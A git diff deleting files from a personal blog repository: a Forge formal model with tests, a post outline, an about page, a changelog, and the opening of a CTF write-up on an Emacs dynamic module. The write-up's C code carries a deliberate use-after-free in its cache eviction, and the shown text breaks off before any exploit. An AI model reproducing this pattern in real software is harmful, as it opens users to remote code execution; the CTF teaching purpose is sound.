files differdeleted file mode 100644 index 7f12ad1..0000000 --- a/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-2.png +++ /dev/null diff --git a/org/What I've Learned About Formal Methods In Half a Year/1670-problem.frg b/org/What I've Learned About Formal Methods In Half a Year/1670-problem.frg deleted file mode 100644 index d82d709..0000000 --- a/org/What I've Learned About Formal Methods In Half a Year/1670-problem.frg +++ /dev/null @@ -1,227 +0,0 @@ -#lang forge - -option solver "/tmp/sat1/solver.py" - -option problem_type temporal -option min_tracelength 2 -option max_tracelength 10 - -sig File { - ctime: one Int, - var free: one Int -} - -sig Snapshot extends File { - children: set File, - retired_list: set File -} - -one sig CurrentRoot { - var live_children: set File, - var live_retired_list: set File -} - -pred referenced_by_snapshot[f: File] { - some s: Snapshot { - s.free = 0 - f in s.children - } -} - -pred valid_state { - all f: File { - -- No referenced file should be free. - (f in CurrentRoot.live_children or (some s: Snapshot | f in s.children and s.free = 0)) => f.free = 0 - - -- No file in a retired list should referenced - f in CurrentRoot.live_retired_list => f not in CurrentRoot.live_children - all s: Snapshot { - f in s.retired_list and s.free = 0 => f not in s.children - } - - -- Treat `free` as a boolean. - f.free = 0 or f.free = 1 - } - - -- Snapshots must be roots. - all s1 : Snapshot { - s1 not in CurrentRoot.live_children - s1 not in CurrentRoot.live_retired_list - all s2: Snapshot { - s1 not in s2.children - s1 not in s2.retired_list - } - } - - -- Added this! - all f: File | (all s1: Snapshot | f in s1.retired_list => { - f not in CurrentRoot.live_children - all s2: Snapshot { - s2.ctime > s1.ctime => f not in s2.children - } - }) - - -- This was also necessary -- clock is monotone. - all disj f1, f2: File | f1.ctime != f2.ctime -} - --- - --- We start with an empty filesystem, where everything is free. -pred init { - no CurrentRoot.live_children - no CurrentRoot.live_retired_list - all f: File { - f.free = 1 iff f != CurrentRoot - } -} - -pred make_snapshot { - one s: Snapshot { - -- The snapshot captures the state of the filesystem at this point in time. - s.children = CurrentRoot.live_children - s.retired_list = CurrentRoot.live_retired_list - - -- The snapshot is now marked as allocated. - s.free = 1 - s.free' = 0 - - all f: File { - f != s => { - -- The free flag is unchanged for every other file. - f.free' = f.free - - -- All other creations happened in the past, relative to this one. - f.free = 0 => s.ctime > f.ctime - } - } - } - - -- The retired list is emptied for the current filesystem. - no live_retired_list' - - -- Nothing else changes. - live_children' = live_children -} - -pred referenced_by_no_other_snapshot[f: File] { - all s: Snapshot { - s.free = 0 => f not in s.children - } -} - -pred delete_snapshot { - one s: Snapshot { - -- The snapshot is now marked as free - s.free = 0 - s.free' = 1 - - all f: File { - (f in s.retired_list and referenced_by_no_other_snapshot[f]) => { - f.free' = 1 - } else { - -- The free flag is unchanged for every other file. - f != s => f.free' = f.free - } - } - } - - -- Nothing else changes. - live_retired_list' = live_retired_list - live_children' = live_children -} - -pred make_file { - one f: File { - -- `f` is added to the set of live children. - CurrentRoot.live_children' = CurrentRoot.live_children + f - -- `f` is marked as allocated. - f.free' = 0 - - -- n.b. it could already be allocated, if a previous snapshot refers to it. - - all f2: File { - f2 != f => { - -- Free flag for other files remains unchanged. - f2.free' = f2.free - - -- All other creations happened in the past, relative to this one. - f2.free = 0 => f.ctime > f2.ctime - } - } - } - - -- Nothing else changes. - live_retired_list' = live_retired_list - live_children' = live_children -} - -pred delete_file { - one f: File { - -- It only makes sense to delete a file if it's in the filesystem - f in CurrentRoot.live_children - - -- Remove it from the filesystem, and reclaim it if applicable. - -- Otherwise, put it in the retired list. - CurrentRoot.live_children' = CurrentRoot.live_children - f - - referenced_by_snapshot[f] => { - -- If another snapshot refers to this one, we don't free it - -- but add it to the retired list. - f.free' = 0 - CurrentRoot.live_retired_list' = CurrentRoot.live_retired_list + f - } else { - -- Otherwise we can free it and the retired list is unchanged. - f.free' = 1 - live_retired_list' = live_retired_list - } - - all f2: File { - -- Free flag for other files remains unchanged. - f2 != f => f2.free' = f2.free - } - } -} - -pred traces { - init - always (make_snapshot or delete_snapshot or make_file or delete_file) -} - - -test expect { - valid_state_vacuity1: { valid_state } for 5 File is sat - valid_state_vacuity2: { valid_state } for exactly 5 File is sat - - init_vacuity1: { init } for 5 File is sat - init_vacuity2: { init } for exactly 5 File is sat - - make_snapshot_vacuity1: { valid_state and make_snapshot } for 5 File is sat - make_snapshot_vacuity2: { valid_state and make_snapshot } for exactly 5 File is sat - make_snapshot_good: { - (valid_state and make_snapshot) => next_state valid_state - } for 5 File is theorem - - delete_snapshot_vacuity1: { valid_state and delete_snapshot } for 5 File is sat - delete_snapshot_vacuity2: { valid_state and delete_snapshot } for exactly 5 File is sat - delete_snapshot_good: { - (valid_state and delete_snapshot) => next_state valid_state - } for 5 File is theorem - - make_file_vacuity1: { valid_state and make_file } for 5 File is sat - make_file_vacuity2: { valid_state and make_file } for exactly 5 File is sat - make_file_good: { - (valid_state and make_file) => next_state valid_state - } for 5 File is theorem - - delete_file_vacuity1: { valid_state and delete_file } for 5 File is sat - delete_file_vacuity2: { valid_state and delete_file } for exactly 5 File is sat - delete_file_good: { - (valid_state and delete_file) => next_state valid_state - } for 5 File is theorem - - traces_vacuity: { traces } for 5 File is sat - traces_vacuity: { traces } for exactly 5 File is sat - - problem_2b: { traces => always { all f: File | referenced_by_snapshot[f] => (some s: Snapshot | s.free = 0 and s.ctime > f.ctime) } } for exactly 5 File is theorem -} diff --git a/org/What I've Learned About Formal Methods In Half a Year/forge-1-1.png b/org/What I've Learned About Formal Methods In Half a Year/forge-1-1.png Binary files differdeleted file mode 100644 index 0fbe29e..0000000 --- a/org/What I've Learned About Formal Methods In Half a Year/forge-1-1.png +++ /dev/null diff --git a/org/What I've Learned About Formal Methods In Half a Year/forge-1-2.png b/org/What I've Learned About Formal Methods In Half a Year/forge-1-2.png Binary files differdeleted file mode 100644 index 9196000..0000000 --- a/org/What I've Learned About Formal Methods In Half a Year/forge-1-2.png +++ /dev/null diff --git a/org/What I've Learned About Formal Methods In Half a Year/forge-1-3.png b/org/What I've Learned About Formal Methods In Half a Year/forge-1-3.png Binary files differdeleted file mode 100644 index 634939c..0000000 --- a/org/What I've Learned About Formal Methods In Half a Year/forge-1-3.png +++ /dev/null diff --git a/org/What I've Learned About Formal Methods In Half a Year/forge-1-4.png b/org/What I've Learned About Formal Methods In Half a Year/forge-1-4.png Binary files differdeleted file mode 100644 index da6832e..0000000 --- a/org/What I've Learned About Formal Methods In Half a Year/forge-1-4.png +++ /dev/null diff --git a/org/What I've Learned About Formal Methods In Half a Year/outline.org b/org/What I've Learned About Formal Methods In Half a Year/outline.org deleted file mode 100644 index 255ad05..0000000 --- a/org/What I've Learned About Formal Methods In Half a Year/outline.org +++ /dev/null @@ -1,82 +0,0 @@ -* Outline -** Introduction -- Where are you in school right now? - - CSCI 1951X last semester - - CSCI 1710 now - - Doing research on formal methods with Shriram Krishnamurti, Rob Lewis, and Nikos Vasilakis -- What are formal methods and why are the classes you took considered "formal methods classes". -** Preliminaries -*** What are specifications? -** Lightweight formal methods: SAT/SMT solvers like Alloy -https://people.csail.mit.edu/dnj/publications/alloy-journal.pdf -*** What makes these methods "lightweight"? -*** What are they, in principle? -*** Forge versus Alloy -*** How do they work? -*** Application: Memory Management -*** Margrave -http://www.margrave-tool.org/ -** Heavyweight formal methods: specification and theorem proving -*** Specification -*** Programming Language Semantics -**** Big-Step -**** Small-Step -**** Denotational -*** Theorem Proving -**** Lean -**** Coq -*** Refinement -*** Application: Proving the Correctness of a Scheme Program -"what I did for the final project was somewhat natural, so we'll dive into that and then explain how it's similar to refinement" -**** Parsing Lisp -**** Modeling Scheme -**** A Type-Theoretic Representation for Programs -**** A Type-Theoretic Representation for Programs -**** A (Sketch of a) Realized Interpreter -**** A Proof of Correctness for Factorial -** What I hope to learn, eventually -While I feel I'm leaving with a good understanding of the underlying concepts.. - -Ultimately, I'd like to bring what I learn back to work. There's a big push for [[https://inl.gov/digital-engineering/][digital engineering]] where I sit. - -And I think there are a few specific tools that would be especially useful in my line of work. -*** TLA+ -*** EasyCrypt -*** VerifPal -Christine described it as the "one with an anime mascot" once. -** Conclusion -** Appendix: Tooling on Gentoo -*** Forge - -I didn't bother packaging it. I just use =raco= to update. - -I use =alloy-mode=, which is pretty broken, but sufficient for my needs. - -#+BEGIN_SRC elisp -(use-package alloy-mode - :straight (alloy-mode :type git :host github :repo "torus/alloy-mode" - :fork (:host github :repo "dwwmmn/alloy-mode")) - ;; For some reason, `alloy-mode' indents with tabs of width 3. Let's change - ;; that to something more sensical. - :init - (setq alloy-basic-offset 4) - :hook - (alloy-mode-hook . (lambda () (setq indent-tabs-mode nil))) - ;; Use alloy-mode for Forge files as well. - :config - (add-to-list 'auto-mode-alist '("\\.frg\\'" . alloy-mode))) -#+END_SRC - -*** Lean - -Lean 3 is packaged in Gentoo and =lean-mode= works out of the box, but my experience has been that Lean 4 is way better. - -**** =lean4-mode= - -This probably also works out of the box but I hate =lsp-mode=, so I hacked together some code to get a functional goal buffer. - -# TODO - -I hear that [[https://proofgeneral.github.io/][Proof General]] might be getting Lean support soon, and I'm 50/50 on whether or not I'd switch. It's a very nice interface to Coq, but I think my fingers might get an extra year or two of life if I don't have to =C-c C-.= every time I want to update the goal buffer - -**** ebuild diff --git a/org/pages/.dir-locals.el b/org/pages/.dir-locals.el deleted file mode 100644 index 68a3a97..0000000 --- a/org/pages/.dir-locals.el +++ /dev/null @@ -1,11 +0,0 @@ -((org-mode . ((org-html-doctype . "xhtml5") - (org-html-html5-fancy . t) - (org-html-with-latex . 'verbatim) - (org-export-with-toc . nil) - (org-export-with-section-numbers . nil) - (org-export-with-sub-superscripts . nil) - (org-html-toplevel-hlevel . 1) - (org-export-headline-levels . 4) - (ox-haunt-base-dir . "/home/jakob/Blog/haunt/") - (ox-haunt-images-dir . "/static/image/") - (ox-haunt-posts-dir . "/pages/")))) diff --git a/org/pages/about-complete.org b/org/pages/about-complete.org deleted file mode 100644 index 4ae03bd..0000000 --- a/org/pages/about-complete.org +++ /dev/null @@ -1,212 +0,0 @@ -* About me. - -My name is Jakob Kreuze (/ˈdʒeɪkəbˈkɹuz/ and /ˈjaːkɔp ˈkʁɔʏ̯tsə/ are both acceptable pronunciations). I'm a 23 year-old living in Greater Boston. I received my B.Sc. in Computer Science and Mathematics from the University of Massachusetts in 2021, and my M.Sc. in Computer Science from Brown University in 2024. Nowadays, I work full-time as a civil servant. - -I work primarily with the design of secure systems. My research interests are formal methods, distributed computing, symbolic execution, and signals processing. I did my undergraduate research in cryptography; the experience was gratifying and greatly influenced my career path, but I'm not especially interested in it these days. - -My free time not spent on chores or being with friends and family is spent working on personal projects, which are outlined [[https://jakob.space/pages/about.html][here]]. - -If you're interested in game engine tech, my younger brother is working on a game engine + graphics engine of his own. You can read about it on [[https://p0ly.com/][his website]]. I like to think of him as my protégé, but he's mostly self-taught. - -** My Interests - -*** (Functional) programming - -I was introduced to computer programming at an early age. My parents were given a Nintendo 64 as a wedding gift shortly before I was born, so I spent my early years playing /Ocarina of Time/ and the likes. My young, impressionable mind drew inspiration, and I would go on about how I wanted to make games of my own. My technically-apt father was able to point me in the right direction for learning to do so. - -I was writing small games in Python by the time I was ten years old, though I have little to show for it with much lost to failing hard drives. The interest waxed and waned, but picked back up significantly when I turned 14 and began using GNU/Linux. - -The renowned /Structure and Interpretation of Computer Programs/ was my introduction to functional programming, recommended by several in the "online" circle I hung around circa then. It's an excellent book, but I was not mature enough to understand it at that age. The points about higher-order functions did, however, click for me, and I was inspired to begin using the handful of functional programming tools available in Python, and to learn Common Lisp (because I thought the syntax laden with parentheses was obscure and cool). - -this was all prior to learning about the sort of object-oriented style that was taught in my ap computer science class. having to deal with that programming paradigm really cemented my opinions about why functional is the "right" way to write software. - -Nowadays, my favorite programming languages are Scheme, Haskell, and Rust. Depending on who you ask, some subset of those languages are "functional programming languages." It's not a clear-cut term, but what it means to me is an emphasis on immutability and higher-order functions. I consider all three to be functional, though Rust is somewhat of a black sheep. - -*** Computer security - -Amid my early years with computer programming, I was briefly introduced to web development and, in particular, PHP. The language has a reputation for the ease with which one can introduce security vulnerabilities, and as such, the book I was using to teach myself at the time expatiated about SQL injection, going so far as to walk the reader through an example. At eleven years old, this piqued my interest, and I soon sought out as much material on computer security as I could, showing my friends what I could do on [[https://www.hackthissite.org/][HackThisSite]]. - -I began playing capture-the-flag when I was in high school and came across LiveOverflow's [[https://yewtu.be/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN][early videos]], which inspired me to play in the (now defunct) [[https://ctf-x.github.io/][CTF(x)]]. I was a team of one until I started playing with [[https://0xbu.com/blog/][0xBU]]. I was still in high school, only 16, but I noticed them on the leader-board. They were just a train ride away, so I reached out to ask if I could show up to their meetings. They said yes, so I spent most of my weekends downtown, getting good at pwning. - -In my university years, I was an e-board member of the [[https://umasscybersec.org/][UMass Cybersecurity Club]]: playing for their CTF team, and putting serious work into the CTF's we hosted. - -*** Lifting weights - -I exercise every day, barring extreme circumstances. - -#+CAPTION: Current body as of April 13, 2023. -[[./cbt-2023-04-13.jpg]] - -Sports didn't interest me when I was younger. I was signed up for soccer, and basketball, and many other after-school sports programs, but nothing stuck. - -At 13, I joined the [[https://en.wikipedia.org/wiki/Civil_Air_Patrol][Civil Air Patrol]], which changed my prior attitudes toward fitness. Now I had to pass fitness tests to promote, and I had to be in-shape for the emergency response work I was doing, so I picked up a regular exercise routine. I began with body-weight exercises and running outside, and I fell in love with it. Pushing yourself to exhaustion -- until you can barely lift your arms -- is addicting. But I was soon bored with calisthenics and begged my parents for a gym membership. I posed it as something I could do with my dad, and that's how I spent my evenings in high school. - -I don't lift competitively. I've had aspirations to over the years, but injuries have prevented me from pushing enough weight to place (herniated disk circa 2017, gluteus medius tear circa 2020). Perhaps my time will come. - -I'm selective about the fitness-related content I consume, tending to prefer folks in the "evidence-based fitness community" like Greg Nuckols, Eric Trexler, and Jeff Nippard. - -**** Regimen - -A given day is cardio xor weightlifting. It's rare that I do both on the same day. This is for the resiliency of my routine; if I know I'm going to be stuck somewhere without access to weights, I can still keep up with my routine by going outside to run. - -At the moment, I'm running the third of Jeff Nippard's "Powerbuilding System" programs, after having an exceptionally good experience with the first two. - -*** Food and Permaculture - -In spite of my deceptively trim figure, I love to cook and eat, especially when it involves unfamiliar cuisines. "Gourmand" is a term I often use when describing myself. - -I was fortunate that most of my meals growing up were homemade. It was much healthier than the alternative, and I was able to learn a lot from my parents in the kitchen. I started taking on that chore in high school with the aim of making things less stressful for my parents. Nowadays, it's practically a hobby for me. I love learning new skills and techniques, and making delicious meals to share with my friends and family. - -I especially enjoy dishes from Africa and South Asia. - -Having an adventurous palate, I'm also interested in permaculture, because it enables me to enjoy produce I would otherwise have a difficult time acquiring (like besobela, or Carolina reapers). My parents always had a garden when I was growing up, and I really enjoyed the idea of self-resiliency that's embedded in the hobby. It's been a bit difficult to grow much on my own because I currently live in an apartment, but some day I'll fulfill my dream of having a huge and varied garden just like theirs. - -*** Music - -I don't really play or write music at the moment. - -My parents signed me up for drum lessons when I was 10, and I did that until I was 18, eventually getting a summer job as a drum line instructor. I didn't have time to keep up with practicing when I went off to college. - -I tried to pick up the electric guitar in 2020 as my "pandemic hobby", but stopped a few months in because I was incredibly burned out with school and couldn't even find the five minutes to practice. - -I love to /listen/ to music, though, especially when I'm exercising or working. Old punk rock, in particular. My favorite bands are the Descendents, Black Flag, and Minor Threat. - -** Technologies I Use - -My preferred software stack: - -| Operating System | Gentoo GNU/Linux | -| initd | OpenRC | -| Shell | Bash | -| Window Manager | Awesome | -| Text Editor | GNU Emacs | -| Email Client | gnus | -| Web Browser | eww, Mozilla Firefox | -| Torrent Client | transmission | -| Keyboard Remapping | xremap | -| Version Control | git | -| Hex Editor | radare2 | -| Disassembler | Ghidra | - -Humorously, I went: awesomewm → i3 → dwm → exwm → stumpwm → awesomewm - -My Emacs configuration can be found [[https://git.sr.ht/~jakob/.emacs.d][here]]. - -*** Machines (In-Commission) - -**** endseal (Workstation) - -I built this computer with my father when I was 12, and I still use it today. I've upgraded the graphics card and the RAM since then, but it's otherwise the same machine I had in middle school. - -| Hardware | Custom | -| • CPU | Intel® Core™ i5-2500 CPU @ 3.30GHz | -| • GPU | AMD Radeon RX 460 Graphics (POLARIS11) | -| • RAM | 16GB DDR3 | -| Operating System | Gentoo GNU/Linux | - -**** stellarwind (Laptop) - -My newest machine, and my daily driver for getting things done when I'm on the go (which constitutes most of my time these days). I'm a big fan of it. A fully-charged battery lasts several hours and it sports a powerful processor, all while being lightweight and quiet. I suspect it's a bit more powerful than endseal. - -| Hardware | ThinkPad™ T495s | -| • CPU | AMD® Ryzen™ 5 PRO 3500U @ 3.70GHz | -| • GPU | AMD® Radeon™ Vega 8 Graphics | -| • RAM | 16GB DDR4 | -| Operating System | Gentoo GNU/Linux | - -**** forte (Mobile Workstation) - -For extended trips away from my apartment, I have this mini-PC I put together. It's made me think a lot about hardware, since I spent only $300 on it, yet it's the most powerful machine I own currently. - -| Hardware | Custom | -| • CPU | AMD® Ryzen™ 5 5560U @ 4.00GHz | -| • GPU | AMD® Radeon™ Vega 6 Graphics | -| • RAM | 12GB DDR4 | -| Operating System | Gentoo GNU/Linux | - -**** kandik (Cellphone) - -Daily driver. It's an older phone but it runs PostmarketOS well and it's far more powerful than the PinePhone. - -| Hardware | OnePlus 6T | -| • CPU | 4 x Qualcomm Kryo cores @ 2.8 GHz + 4 x Qualcomm Kryo cores @ 1.8 GHz | -| • GPU | Qualcomm Adreno 630 | -| • RAM | 6GB LPDDR4X | -| Operating System | PostmarketOS (Phosh) | - -**** misty (Server) - -This is the machine that runs all of the server-side scripts for this site, as well as my Pleroma instance. - -| Hardware | PINE64 ROCKPro64 | -| • CPU | 4 x ARM Cortex A53 cores @ 1.4GHz + 2 x ARM Cortex A72 cores @ 1.8 GHz | -| • RAM | 4GB LPDDR4 RAM | -| Operating System | Gentoo GNU/Linux | - -**** hypo (Access Point) - -This used to serve the purpose that misty serves now. It wasn't powerful enough. I've re-purposed it as a wireless access point for when I visit my parents. - -| Hardware | Raspberry Pi 3 Model B | -| • CPU | Broadcom BCM2837 @ 1.2GHz | -| • RAM | 1GB LPDDR2 SDRAM | -| Operating System | Gentoo GNU/Linux | - -**** corona (Media Center) - -This was the laptop I lugged around with me in high school and college. It's absurdly heavy and large, and has an awful battery life, but it sports some decent hardware so I'm using it as a [[https://kodi.tv/][Kodi]] and [[https://www.retroarch.com/][RetroArch]] box. - -| Hardware | Lenovo Y50 | -| • CPU | Intel® Core™ i7-4700HQ @ 2.4 GHz | -| • GPU | NVIDIA® GTX-860M | -| • RAM | 8 GB DDR3 | -| Operating System | Gentoo GNU/Linux | - -It saw a lot more use when I was living in Providence and my kitchen opened up into the living room. I'd use it to watch YouTube while I cooked or did dishes. - -*** Other - -For my home network, I have a TP-Link AC1750 Archer A7 running [[https://en.wikipedia.org/wiki/OpenWrt][OpenWRT]] hooked up to a NetGear CM1000. - -I wear a Casio DBC-611-1 everywhere I go. - -And I've got a handful of other random SBCs and retro hardware that I don't regularly use: - -- SeeedStudio BeagleBone Green -- Raspberry Pi 2 Model B -- Commodore 64 -- Commodore VIC-20 -- Nintendo Super Famicom -- Nintendo 64 -- Sega Dreamcast - -*** Machines (Out-Of-Commission) - -**** whitecloud (Laptop) - -This was a fine daily driver for a little while. I eventually gave up on using -it because of the weak battery controller, the buggy keyboard firmware that I -couldn't re-flash, and eventually wanting to be able to do things more -computationally-intensive than run GNU Emacs. - -| Hardware | Pinebook Pro | -| • CPU | 4 x ARM Cortex A53 cores @ 1.4GHz + 2 x ARM Cortex A72 cores @ 1.8 GHz | -| • GPU | ARM Mali T860 MP4 GPU | -| • RAM | 4GB LPDDR4 RAM | -| Operating System | Gentoo GNU/Linux | - -**** vela (Cellphone) - -The subject of [[https://jakob.space/blog/i-love-my-pinephone.html][this blog post]]. It was a great daily driver for almost a year, but I was really desiring something more powerful, and the Braveheart Edition I have has some really unsavory hardware issues. - -| Hardware | PINE64 Pinephone (Braveheart Edition) | -| • CPU | Allwinner A64 @ 1.152 GHz | -| • GPU | ARM Mali-400 MP2 | -| • RAM | 2GB LPDDR4 RAM | -| Operating System | PostmarketOS (Phosh) | - -** Other Bits and Pieces - -I'm a vocal supporter of open access and the free software movement. I'm an associate member of the [[https://www.fsf.org/][Free Software Foundation]] and I contribute to [[https://en.wikipedia.org/wiki/User:ZeroDaysForDays][Wikimedia]] and [[https://www.openstreetmap.org/user/Jakob%20Kreuze][OpenStreetMap]]. - -I am a licensed (general class) ham, but I am rarely active. My callsign is KR3UZE. diff --git a/org/pages/changelog.org b/org/pages/changelog.org deleted file mode 100644 index abf046f..0000000 --- a/org/pages/changelog.org +++ /dev/null @@ -1,41 +0,0 @@ -* Site Changelog - -A record of any notable user-facing changes made to this website. For more detail, refer to the log of the [[https://git.sr.ht/~jakob/blog][Git repository]]. - -** Sunday, December 24, 2023 - -- Updated the header bar. I don't see the point in having a user-facing link to the Atom feed, since any reader software worth its weight will be able to pick up on my site having a feed automatically. - -** Monday, August 28, 2023 - -- Updated comment UI. - -** Sunday, August 27, 2023 - -- Fixed bug with comment reaction system where pressing the "react" button multiple times would lead to multiple selector widgets being created. - -** Saturday, August 12, 2023 - -- Added cheesy rhymes to the user-facing status code pages. -- Enabled partial API access for Tor and i2p visitors. - - Comments received through these tunnels are marked as such. - -** Friday, August 11, 2023 - -- Fixed custom error documents. -- Stood up static content mirrors on [[http://jakobyallfrbd3herebyee7hug3hxs2ma6aflmmllk35d7dyiwp3adid.onion/][Tor]] and [[http://mtgqjdrqqpovyhx7tortulrnvakbptsi3w5yintmo6lqapdd3hnq.b32.i2p][i2p]]. - -** Saturday, August 5, 2023 - -- Began maintaining a changelog. -- Pulled in [[https://pagefind.app/][pagefind]] for self-hosted search. -- Updated [[https://en.wikipedia.org/wiki/Atom_(web_standard)][Atom]] feed to include only the first paragraph of the post in the =<summary>= section. - - This /drastically/ reduces the size of =feed.xml=. Hopefully it makes pulling a little less painful for those subscribed. -- Re-implemented RSVP and gallery using server-side rendering. - - These are features the typical reader would not have used. They're described in detail [[https://jakob.space/blog/pushing-haunt-to-its-limits.html][here]], but the short is that they're things I use for my meatspace friends. -- Updated the [[https://jakob.space/pages/about-complete.html][long-form biographical page]]. - - Updated a couple of biographical details that were no longer accurate. - - Now written in [[https://git.sr.ht/~jakob/blog/tree/master/item/org/pages/about-complete.org][Org]]. -- Updated the [[https://jakob.space/pages/about.html][short-form biographical page]]. - - Got rid of the "projects" section and my CTF team history. -- Minor adjustments to the the front-matter of [[https://jakob.space/blog/pushing-haunt-to-its-limits.html][Pushing Haunt to Its Limits]]. diff --git a/org/ret2emacs/ret2emacs-overlay-demo.png b/org/ret2emacs/ret2emacs-overlay-demo.png Binary files differdeleted file mode 100644 index 70c6c8e..0000000 --- a/org/ret2emacs/ret2emacs-overlay-demo.png +++ /dev/null diff --git a/org/ret2emacs/umass-ctf-2022.org b/org/ret2emacs/umass-ctf-2022.org deleted file mode 100644 index 8566f56..0000000 --- a/org/ret2emacs/umass-ctf-2022.org +++ /dev/null @@ -1,467 +0,0 @@ -#+TITLE: ret2emacs -#+TAGS: writeup, capture-the-flag, emacs, binary-exploitation, heap-feng-shui -#+DATE: <2022-04-14 Thu 21:44> - -It's that time of year again where I take some time to reflect on [[https://ctftime.org/event/1561][UMass CTF]]. -This is going to be shorter than last year's. I put out eight challenges, and -I'm only going to be writing about one of them. Code, documentation, and -write-ups for the others are available [[https://github.com/UMassCybersecurity/UMassCTF-2022-challenges][here]]. - -* Use-After-Free in an Emacs Module - -=ret2emacs= was among our three unsolved challenges, and it had a disappointingly -low volume of discussion over the weekend. That hurt, since it's the challenge I -was most proud of, but someone asked for solution details post-competition so -I'm given a reason to acknowledge that I made it. - -** Background - -Emacs might seem to be an unusual choice of target for a capture-the-flag -challenge since it's "just" a text editor. However, there's a little-known -package called [[http://rudel.sourceforge.net/][Rudel]] which enables collaborative editing over the network. The -premise for the challenge was that you'd connect to a Rudel server where there -was a bot watching =*scratch*=,[fn:1] and you had to insert some text that would -trigger remote-code execution. - -I didn't hoard any 0days for this competition. The intended solution was to -attack a vulnerable [[https://www.gnu.org/software/emacs/manual/html_node/elisp/Dynamic-Modules.html][Emacs dynamic module]] that was loaded in the bot's Emacs -session. - -For the uninitiated, Emacs is extensible in a few ways. The primary mechanism -for doing so is to use Emacs Lisp (Elisp), which is an interpreted[fn:2] -scripting language. Emacs also has the capability to interoperate with native -code in shared libraries, which we call "dynamic modules." Elisp can call into -the code of dynamic modules and vice versa. It's similar to the FFI situation in -most other scripting languages. - -The following is the (admittedly quite bad) Elisp code running on the bot's end. -This is not the vulnerable part, but the background may be helpful in -understanding the challenge. - -#+BEGIN_SRC elisp -(defvar sixplayground-overlays '()) - -(defun sixplayground-make-overlay (start end data-or-function) - (let* ((overlay (make-overlay (car match) (cadr match))) - (data (if (stringp data-or-function) - data-or-function - (funcall data-or-function)))) - (overlay-put overlay 'display (create-image data 'pbm t)) - (push overlay sixplayground-overlays))) - -(defun sixplayground-parse () - (save-excursion - (set-buffer (get-buffer "*scratch*")) - (dolist (overlay sixplayground-overlays) - (delete-overlay overlay)) - (setq sixplayground-overlays '()) - (dolist (match (matches-in-buffer "\x1bP0;0;0q.*?\x1b\\\\")) - (sixplayground-make-overlay (car match) (cdr match) - (sixel-decode-string (buffer-substring (car match) (cadr match))))))) - -(defun matches-in-buffer (regexp &optional buffer) - "return a list of matches of REGEXP in BUFFER or the current buffer if not given." - (let ((matches)) - (save-match-data - (save-excursion - (with-current-buffer (or buffer (current-buffer)) - (save-restriction - (widen) - (goto-char 1) - (while (search-forward-regexp regexp nil t 1) - (push (list (match-beginning 0) (match-end 0)) matches))))) - (reverse matches)))) - -(defun sixplayground-on-post-command (&rest args) - (when (buffer-modified-p (get-buffer "*scratch*")) - (sixplayground-parse) - (set-buffer-modified-p nil))) -#+END_SRC - -Here's a summary of what's going on: =sixplayground-on-post-command= is like a -callback -- it's called every time the buffer is edited. It's a wrapper around -=sixplayground-parse=, which iterates over all substrings in the buffer that look -like a series of [[https://en.wikipedia.org/wiki/Sixel][Sixel commands]] and converts them to "overlays", which are -images that can be displayed in the editor's text area. The part that actually -converts these substrings to image data is =sixel-decode-string=. - -#+CAPTION: Example of an overlay in Emacs. -[[./ret2emacs-overlay-demo.png]] - -The song and dance of FFI initialization is omitted for brevity, but -=sixel-decode-string= is implemented as the following C function. It returns an -Emacs string. - -#+BEGIN_SRC c -struct hash { - uint32_t h0, h1, h2, h3; -}; - -#define CACHESZ 8 -static struct hash cache_identifiers[CACHESZ]; -static struct emacs_value_tag *cache[CACHESZ]; -static int inuse[CACHESZ]; - -emacs_value decode_sixel(emacs_env *ENV, ptrdiff_t - NARGS, emacs_value *ARGS, void *DATA) -{ - assert(NARGS == 1); - - int pwidth, pheight, ncolors; - unsigned char *palette; - unsigned char *pixels; - - unsigned char *buf; - ptrdiff_t len; - if (!ENV->copy_string_contents(ENV, ARGS[0], NULL, &len)) { - panic(ENV, "Failed to retrieve string length."); - } - if ((buf = malloc(len)) == NULL) { - panic(ENV, "Failed to allocate buffer."); - } - if (!ENV->copy_string_contents(ENV, ARGS[0], (char *) buf, &len)) { - panic(ENV, "Failed to retrieve string."); - } - - md5(buf, len); - for (int i = 0; i < CACHESZ; i++) { - if (cache_identifiers[i].h0 == h0 && cache_identifiers[i].h1 == h1 && cache_identifiers[i].h2 == h2 && cache_identifiers[i].h3 == h3) { - return cache[i]; - } - } - - sixel_decode_raw(buf, len, &pixels, &pwidth, &pheight, &palette, &ncolors, allocator); - - ptrdiff_t output_len = 256 + 12 * (pwidth * pheight); - char *output, *cur; - if ((output = malloc(output_len)) == NULL) { - panic(ENV, "Failed to allocate buffer."); - } - - cur = output; - cur += sprintf(cur, "P3\n%d %d\n255\n", pwidth, pheight); - for (int i = 0; i < pheight * pwidth; i++) { - cur += sprintf(cur, "%d %d %d\n", - ,*(palette + pixels[i] * 3 + 0), - ,*(palette + pixels[i] * 3 + 1), - ,*(palette + pixels[i] * 3 + 2)); - } - - emacs_value ret = ENV->make_string(ENV, (char *) output, strlen(output)); - - int sentinel = 0; - for (int i = 0; i < CACHESZ; i++) { - if (!inuse[i]) { - sentinel = 1; - cache_identifiers[i].h0 = h0; - cache_identifiers[i].h1 = h1; - cache_identifiers[i].h2 = h2; - cache_identifiers[i].h3 = h3; - cache[i] = malloc(sizeof(struct emacs_value_tag)); - cache[i]->v = *((void **)ret); - inuse[i] = 1; - break; - } - } - if (!sentinel) { - // Evict the whole cache, except for `i`. - for (int i = 0; i < CACHESZ; i++) { - /* cache_identifiers[j].h0 = 0; */ - /* cache_identifiers[j].h1 = 0; */ - /* cache_identifiers[j].h2 = 0; */ - /* cache_identifiers[j].h3 = 0; */ - free(cache[i]); - inuse[i] = 0; - } - cache_identifiers[0].h0 = h0; - cache_identifiers[0].h1 = h1; - cache_identifiers[0].h2 = h2; - cache_identifiers[0].h3 = h3; - cache[0] = malloc(sizeof(struct emacs_value_tag)); - cache[0]->v = *((void **)ret); - inuse[0] = 1; - } - - free(buf); - free(output); - sixel_allocator_free(allocator, palette); - return ret; - -} -#+END_SRC - -If your eyes glazed over reading that, we're doing a couple of things. First and -foremost, we're taking the =md5sum= of the input (which, in this case, is a string -of Sixel commands). If we haven't seen the hash before, then we feed the input -into [[https://github.com/saitoha/libsixel][libsixel]] to get some bitmap data, and then convert that bitmap data into an -Emacs string containing a [[https://en.wikipedia.org/wiki/Netpbm][netpbm]] image... mostly for convenience, since it's a -format readily accepted by Emacs. We also copy that resulting string onto the -heap so that we can save it in our =cache=.[fn:3] If we /have/ seen the hash before, -then we immediately return an Emacs object from the cache. - -** Vulnerability - -The vulnerability is outlined by 